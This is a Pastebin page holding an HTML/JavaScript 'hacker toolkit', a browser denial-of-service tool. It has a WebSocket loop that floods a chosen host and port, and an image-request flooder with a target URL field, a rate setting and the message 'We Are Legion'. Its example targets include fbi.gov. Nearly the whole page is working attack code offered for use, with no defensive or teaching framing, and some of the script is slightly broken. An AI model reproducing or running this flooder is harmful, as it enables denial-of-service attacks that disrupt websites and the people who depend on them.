R8420

Hacker toolkit script

May 8th, 2014
605
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 6.68 KB | None | 0 0
  1. Hacker toolkit made by @an0nymous_nl
  2. <html>
  3. <head>
  4.     <title>HQ toolkit</title>
  5.  
  6. <script type="text/javascript">
  7. function ExploitLazor() {
  8.   if ("WebSocket" in window) {
  9.          
  10.         var host = document.getElementById("Host").value
  11.         var port = document.getElementById("Port").value
  12.         alert("Cannon firing at "+host+" on port " +port+ " .");
  13.      var ws = new WebSocket("ws://"+host+":"+port);
  14.      ws.onopen = function() {
  15.      for (var i=0;i<2147000000;i++) { //Loop here
  16.       ws.send("Waring");
  17.        }
  18.    ws.onclose = function() {
  19.        alert("DOS, Sent.");
  20.        }
  21. }
  22. }
  23. else
  24. {
  25.    alert("This won't work on your browser!");
  26. }
  27. }
  28. </script>
  29.  
  30. </head>
  31. <body background="http://fc04.deviantart.net/fs70/f/2013/219/c/0/c0fb1a1463169ace91f3e558fb0e3fe5-d6h0i32.gif">
  32. <div style="position: absolute; width: 271px; height: 100%; left: 624px; top: 13px; color: #FFF;">
  33.   <div style="width: 271px; height: 100px; position: absolute; left: 0px; top: 95px;">
  34.      <fieldset style="width:100%; height:100%;">
  35.         <legend>Step 1. Select your target:</legend>
  36.         <label>URL: <br /> <input id="targetURL" style="width:100%;" value="http://www.google.nl" /></label> <!-- disabled="true" -->
  37.         <small>Ex : http://fbi.gov</small>
  38.     </fieldset>
  39. </div>
  40. <div style="width: 268px; height: 100px; position: absolute; left: 2px; top: 410px;">
  41.     <fieldset style="width: 100%; height: 100%; color: #FF0;">
  42.        <legend>Step 2. Ready?</legend>
  43.  
  44.       <button id="fireButton" style="background-color:black; border-color:#FFF; color:#FFF; width:240px; height:70px;">START</button>
  45.     </fieldset>
  46. </div>
  47.  
  48. <div id="html">
  49.   Host: <input type="text" id="Host" value="" name="Host"><br>
  50.   Port:
  51.   <input type="text" id="Port" value="" name="Port"><br>
  52.   <input type="submit" value="loop ddos" name="submit" onClick="ExploitLazor()"/>
  53. </div>
  54.  
  55. <div style="width: 271px; height: 160px; position: absolute; left: 1px; top: 224px;">
  56.      <fieldset style="width:100%; height:100%;">
  57.         <legend>Optional. Options</legend>
  58.          <label>Requests per second : <input style="width:40px;" id="rps" value="100" /></label><br />
  59.  
  60.          <label>Append message : <br /><input required id="message" style="width:100%;" value="We Are Legion" /></label>
  61.     </fieldset>
  62. </div>
  63.  
  64. <div style="width: 164px; height: 483px; position: absolute; left: 308px; top: 13px;">
  65.      <fieldset style="width: 100%; height: 100%; color: #FFFF00;">
  66.          <legend>Attack status:</legend>
  67.         <dl>
  68.             <dt>Requested:</dt>
  69.             <dd id="requestedCtr">0</dd>
  70.             <dt style="opacity: 0.5; color: green;">Request OK :</dt>
  71.             <dd style="opacity: 0.5" id="succeededCtr">0</dd>
  72.             <dt style="opacity: 0.5; color: red;">Request failed :</dt>
  73.             <dd style="opacity: 0.5" id="failedCtr">0</dd>
  74.            
  75.  
  76.            
  77.         </dl>
  78.        
  79.        
  80.        
  81.        
  82.      
  83.        
  84.        
  85.        
  86.        
  87.        
  88.        
  89.        
  90.     </fieldset>
  91. </div>
  92. </div>
  93. <p>
  94.       <script>
  95.         (function () {
  96.             var fireInterval;
  97.             var isFiring = false;
  98.             var requestedCtrNode = document.getElementById("requestedCtr"),
  99.                 succeededCtrNode = document.getElementById("succeededCtr"),
  100.                 failedCtrNode = document.getElementById("failedCtr"),
  101.                 targetURLNode = document.getElementById("targetURL"),
  102.                 fireButton = document.getElementById("fireButton"),
  103.                 messageNode = document.getElementById("message"),
  104.                 rpsNode = document.getElementById("rps"),
  105.                 timeoutNode = document.getElementById("timeout");
  106.             var targetURL = targetURLNode.value;
  107.             targetURLNode.onchange = function () {
  108.                 targetURL = this.value;
  109.             };
  110.             var requestsHT = {}; // requests hash table, may come in handy later
  111.             var requestedCtr = 0,
  112.                 succeededCtr = 0,
  113.                 failedCtr = 0;
  114.             var makeHttpRequest = function () {
  115.                                         if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
  116.                                                 return;
  117.                                         };
  118.                                        
  119.                     var rID =Number(new Date());
  120.                     var img = new Image();
  121.                     img.onerror = function () { onFail(rID); };
  122.                     img.onabort = function () { onFail(rID); };
  123.                     img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
  124.                                        
  125.                                         img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
  126.                     requestsHT[rID] = img;
  127.                     onRequest(rID);
  128.                 };
  129.  
  130.             var onRequest = function (rID) {
  131.                     requestedCtr++;
  132.                     requestedCtrNode.innerHTML = requestedCtr;
  133.                 };
  134.  
  135.             var onComplete = function (rID) {
  136.                     delete requestsHT[rID];
  137.                 };
  138.  
  139.             var onFail = function (rID) {
  140.                    // failedCtr++;
  141.                     //failedCtrNode.innerHTML = failedCtr;
  142.                                        
  143.                                         succeededCtr++; //Seems like the url will always fail it it isn't an image
  144.                     succeededCtrNode.innerHTML = succeededCtr;
  145.                     delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  146.                 };
  147.  
  148.             var onSuccess = function (rID) {
  149.                     succeededCtr++;
  150.                     succeededCtrNode.innerHTML = succeededCtr;
  151.                     delete requestsHT[rID];
  152.                 };
  153.  
  154.             fireButton.onclick = function () {
  155.                 if (isFiring) {
  156.                     clearInterval(fireInterval);
  157.                     isFiring = false;
  158.                     this.innerHTML = "START";
  159.                 } else {
  160.                     isFiring = true;
  161.                     this.innerHTML = "Stop flooding";
  162.  
  163.                     fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
  164.                 }
  165.             };
  166.  
  167.         })();
  168.  
  169. isFiring = true;
  170. document.getElementById("fireButton").innerHTML = "Stop flooding";
  171. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(document.getElementById("rps").value) | 0));
  172.       </script>
  173. </p>
  174. </body>
  175. </html>
Add Comment
Please, Sign In to add comment